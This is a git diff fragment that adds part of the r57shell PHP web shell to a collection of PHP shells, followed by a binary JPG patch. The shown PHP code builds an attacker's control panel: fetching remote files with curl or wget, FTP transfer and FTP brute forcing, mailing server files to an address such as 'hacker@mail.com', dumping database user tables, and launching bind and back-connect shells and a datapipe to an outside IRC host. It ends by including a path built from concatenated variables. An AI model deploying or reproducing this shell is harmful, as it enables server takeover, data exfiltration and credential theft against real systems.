value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } + +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f; +include ($a.$b.$c); +?> + diff --git a/php/PHPshell/【r57】/r572.jpg b/php/PHPshell/【r57】/r572.jpg new file mode 100644 index 0000000000000000000000000000000000000000..21835d9674542be503b7bf683be2031713fe635e GIT binary patch literal 66703 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 